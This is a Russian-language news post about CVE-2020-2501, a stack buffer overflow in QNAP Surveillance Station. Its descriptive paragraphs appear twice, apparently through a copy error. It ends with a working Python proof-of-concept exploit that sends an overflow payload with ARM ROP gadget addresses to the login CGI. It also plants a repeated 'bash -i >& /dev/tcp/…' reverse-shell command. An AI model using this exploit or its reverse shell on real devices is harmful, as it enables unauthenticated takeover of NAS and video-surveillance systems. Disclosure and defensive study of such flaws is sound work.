В сети появился эксплоит для уязвимости в устройствах Qnap NAS, на которых работает система управления видеонаблюдением Surveillance Station.
Проблема связана с повреждением информации в памяти и влияет на устройства, работающие с Surveillance Station версий 5.1.5.4.2 и 5.1.5.3.2. Баг был устранен разработчиками в феврале этого года с релизом Surveillance Station версии 5.1.5.4.3 для 64-разрядных NAS на процессорах ARM и x86, а также в версии 5.1.5.3.3 для 32-разрядных NAS с процессором ARM и x86.
Уязвимость имеет идентификатор CVE-2020-2501 и представляет собой переполнение буфера стека, которым удаленные злоумышленники могут злоупотреблять для выполнения кода в уязвимой системе без аутентификации.
На этой неделе компания SSD Secure Disclosure опубликовала детали проблемы, а также PoC-эксплоит. Согласно SSD, уязвимость сосредоточена вокруг небезопасного использования данных, предоставленных пользователем. Злоумышленник может отправить специально созданный HTTP-запрос на уязвимое устройство, что приведет к переполнению буфера, используемого модулем Surveillance Station, и в итоге станет возможно выполнение произвольного кода.
PoC
Проблема связана с повреждением информации в памяти и влияет на устройства, работающие с Surveillance Station версий 5.1.5.4.2 и 5.1.5.3.2. Баг был устранен разработчиками в феврале этого года с релизом Surveillance Station версии 5.1.5.4.3 для 64-разрядных NAS на процессорах ARM и x86, а также в версии 5.1.5.3.3 для 32-разрядных NAS с процессором ARM и x86.
Уязвимость имеет идентификатор CVE-2020-2501 и представляет собой переполнение буфера стека, которым удаленные злоумышленники могут злоупотреблять для выполнения кода в уязвимой системе без аутентификации.
На этой неделе компания SSD Secure Disclosure опубликовала детали проблемы, а также PoC-эксплоит. Согласно SSD, уязвимость сосредоточена вокруг небезопасного использования данных, предоставленных пользователем. Злоумышленник может отправить специально созданный HTTP-запрос на уязвимое устройство, что приведет к переполнению буфера, используемого модулем Surveillance Station, и в итоге станет возможно выполнение произвольного кода.
PoC
Python:
import requests
import threading
from struct import *
p = lambda x: pack("<L", x)
def run(session, data):
res = [session.post("http://192.168.1.2:8080/cgi-bin/surveillance/apis/user.cgi", data) for i in range(5000)]
def main():
with requests.Session() as s:
payload = "A" * 3108
payload += p(0x74a8eb8c) # pop {r0, r4, pc}
payload += p(0x71154e28) # heap address
payload += "BBBB"
payload += p(0x74a636c4 + 1) # system
data = {
"act" : "login",
"sid" : payload,
"slep" : "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000,
}
for i in range(30):
t = threading.Thread(target=run, args=(s, data))
t.start()
if __name__ == '__main__':
main()